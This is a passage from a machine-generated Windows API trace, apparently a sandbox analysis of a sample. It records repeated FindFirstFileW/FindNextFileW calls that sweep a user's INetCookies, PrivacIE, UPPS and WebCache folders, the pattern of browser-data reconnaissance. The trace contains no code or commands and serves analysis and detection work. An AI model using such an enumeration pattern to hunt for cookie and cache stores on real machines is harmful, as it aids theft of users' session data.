ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.887] FindClose (in: hFindFile=0x1d469dc0 | out: hFindFile=0x1d469dc0) returned 1 [0211.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0211.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0211.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.888] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low", lpFilePart=0x0) returned 0x45 [0211.888] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\low\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0211.888] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.889] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.889] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0211.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.889] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low", lpFilePart=0x0) returned 0x45 [0211.889] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\low\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0211.890] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.890] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.890] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0211.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.891] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE", lpFilePart=0x0) returned 0x4a [0211.891] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\privacie\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0211.891] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.892] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0211.892] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0211.892] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0211.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.892] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE", lpFilePart=0x0) returned 0x4a [0211.892] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\privacie\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4692e0 [0211.893] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.893] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0211.893] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.893] FindClose (in: hFindFile=0x1d4692e0 | out: hFindFile=0x1d4692e0) returned 1 [0211.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0211.894] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE\\Low", nBufferLength=0x105, lpBuffer=0x1e0db430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE\\Low", lpFilePart=0x0) returned 0x4e [0211.894] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\privacie\\low\\*"), lpFindFileData=0x1e0db660 | out: lpFindFileData=0x1e0db660*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0211.894] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.895] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.895] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0211.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0211.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0211.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0211.895] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE\\Low", nBufferLength=0x105, lpBuffer=0x1e0db430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE\\Low", lpFilePart=0x0) returned 0x4e [0211.895] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\privacie\\low\\*"), lpFindFileData=0x1e0db660 | out: lpFindFileData=0x1e0db660*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a00 [0211.896] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0212.587] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", lpFilePart=0x0) returned 0x4e [0212.587] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\temporary internet files\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0212.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc870) returned 1 [0212.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0212.591] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\UPPS", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\UPPS", lpFilePart=0x0) returned 0x3a [0212.591] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\UPPS\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\upps\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5ae5bb, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xee4c4771, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xee4c4771, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0212.592] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5ae5bb, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xee4c4771, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xee4c4771, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.592] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4c4771, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xee4c4771, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xee4c4771, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="UPPS.bin", cAlternateFileName="")) returned 1 [0212.592] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.592] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0212.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0212.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0212.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0212.593] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\UPPS", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\UPPS", lpFilePart=0x0) returned 0x3a [0212.593] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\UPPS\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\upps\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5ae5bb, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xee4c4771, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xee4c4771, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0212.594] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5ae5bb, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xee4c4771, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xee4c4771, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.594] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4c4771, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xee4c4771, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xee4c4771, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="UPPS.bin", cAlternateFileName="")) returned 1 [0212.594] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4c4771, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xee4c4771, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xee4c4771, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="UPPS.bin", cAlternateFileName="")) returned 0 [0212.594] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0212.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0212.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0212.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0212.595] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache", lpFilePart=0x0) returned 0x3e [0212.595] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3f28d414, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x41394a0d, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x41394a0d, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4692e0 [0212.595] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3f28d414, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x41394a0d, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x41394a0d, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.596] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43a75b6d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43a75b6d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x543af301, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01.chk", cAlternateFileName="")) returned 1 [0212.596] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x438f835d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x438f835d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x41346807, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01.log", cAlternateFileName="")) returned 1 